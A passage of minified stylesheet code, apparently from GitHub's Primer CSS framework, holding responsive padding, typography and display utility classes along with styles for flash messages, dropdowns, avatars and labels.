!important}.pt-md-2{padding-top:8px !important}.pr-md-2{padding-right:8px !important}.pb-md-2{padding-bottom:8px !important}.pl-md-2{padding-left:8px !important}.px-md-2{padding-right:8px !important;padding-left:8px !important}.py-md-2{padding-top:8px !important;padding-bottom:8px !important}.p-md-3{padding:16px !important}.pt-md-3{padding-top:16px !important}.pr-md-3{padding-right:16px !important}.pb-md-3{padding-bottom:16px !important}.pl-md-3{padding-left:16px !important}.px-md-3{padding-right:16px !important;padding-left:16px !important}.py-md-3{padding-top:16px !important;padding-bottom:16px !important}.p-md-4{padding:24px !important}.pt-md-4{padding-top:24px !important}.pr-md-4{padding-right:24px !important}.pb-md-4{padding-bottom:24px !important}.pl-md-4{padding-left:24px !important}.px-md-4{padding-right:24px !important;padding-left:24px !important}.py-md-4{padding-top:24px !important;padding-bottom:24px !important}.p-md-5{padding:32px !important}.pt-md-5{padding-top:32px !important}.pr-md-5{padding-right:32px !important}.pb-md-5{padding-bottom:32px !important}.pl-md-5{padding-left:32px !important}.px-md-5{padding-right:32px !important;padding-left:32px !important}.py-md-5{padding-top:32px !important;padding-bottom:32px !important}.p-md-6{padding:40px !important}.pt-md-6{padding-top:40px !important}.pr-md-6{padding-right:40px !important}.pb-md-6{padding-bottom:40px !important}.pl-md-6{padding-left:40px !important}.px-md-6{padding-right:40px !important;padding-left:40px !important}.py-md-6{padding-top:40px !important;padding-bottom:40px !important}.pt-md-7{padding-top:48px !important}.pr-md-7{padding-right:48px !important}.pb-md-7{padding-bottom:48px !important}.pl-md-7{padding-left:48px !important}.py-md-7{padding-top:48px !important;padding-bottom:48px !important}.pt-md-8{padding-top:64px !important}.pr-md-8{padding-right:64px !important}.pb-md-8{padding-bottom:64px !important}.pl-md-8{padding-left:64px !important}.py-md-8{padding-top:64px !important;padding-bottom:64px !important}.pt-md-9{padding-top:80px !important}.pr-md-9{padding-right:80px !important}.pb-md-9{padding-bottom:80px !important}.pl-md-9{padding-left:80px !important}.py-md-9{padding-top:80px !important;padding-bottom:80px !important}.pt-md-10{padding-top:96px !important}.pr-md-10{padding-right:96px !important}.pb-md-10{padding-bottom:96px !important}.pl-md-10{padding-left:96px !important}.py-md-10{padding-top:96px !important;padding-bottom:96px !important}.pt-md-11{padding-top:112px !important}.pr-md-11{padding-right:112px !important}.pb-md-11{padding-bottom:112px !important}.pl-md-11{padding-left:112px !important}.py-md-11{padding-top:112px !important;padding-bottom:112px !important}.pt-md-12{padding-top:128px !important}.pr-md-12{padding-right:128px !important}.pb-md-12{padding-bottom:128px !important}.pl-md-12{padding-left:128px !important}.py-md-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1012px){.p-lg-0{padding:0 !important}.pt-lg-0{padding-top:0 !important}.pr-lg-0{padding-right:0 !important}.pb-lg-0{padding-bottom:0 !important}.pl-lg-0{padding-left:0 !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.p-lg-1{padding:4px !important}.pt-lg-1{padding-top:4px !important}.pr-lg-1{padding-right:4px !important}.pb-lg-1{padding-bottom:4px !important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}.pt-lg-7{padding-top:48px !important}.pr-lg-7{padding-right:48px !important}.pb-lg-7{padding-bottom:48px !important}.pl-lg-7{padding-left:48px !important}.py-lg-7{padding-top:48px !important;padding-bottom:48px !important}.pt-lg-8{padding-top:64px !important}.pr-lg-8{padding-right:64px !important}.pb-lg-8{padding-bottom:64px !important}.pl-lg-8{padding-left:64px !important}.py-lg-8{padding-top:64px !important;padding-bottom:64px !important}.pt-lg-9{padding-top:80px !important}.pr-lg-9{padding-right:80px !important}.pb-lg-9{padding-bottom:80px !important}.pl-lg-9{padding-left:80px !important}.py-lg-9{padding-top:80px !important;padding-bottom:80px !important}.pt-lg-10{padding-top:96px !important}.pr-lg-10{padding-right:96px !important}.pb-lg-10{padding-bottom:96px !important}.pl-lg-10{padding-left:96px !important}.py-lg-10{padding-top:96px !important;padding-bottom:96px !important}.pt-lg-11{padding-top:112px !important}.pr-lg-11{padding-right:112px !important}.pb-lg-11{padding-bottom:112px !important}.pl-lg-11{padding-left:112px !important}.py-lg-11{padding-top:112px !important;padding-bottom:112px !important}.pt-lg-12{padding-top:128px !important}.pr-lg-12{padding-right:128px !important}.pb-lg-12{padding-bottom:128px !important}.pl-lg-12{padding-left:128px !important}.py-lg-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em 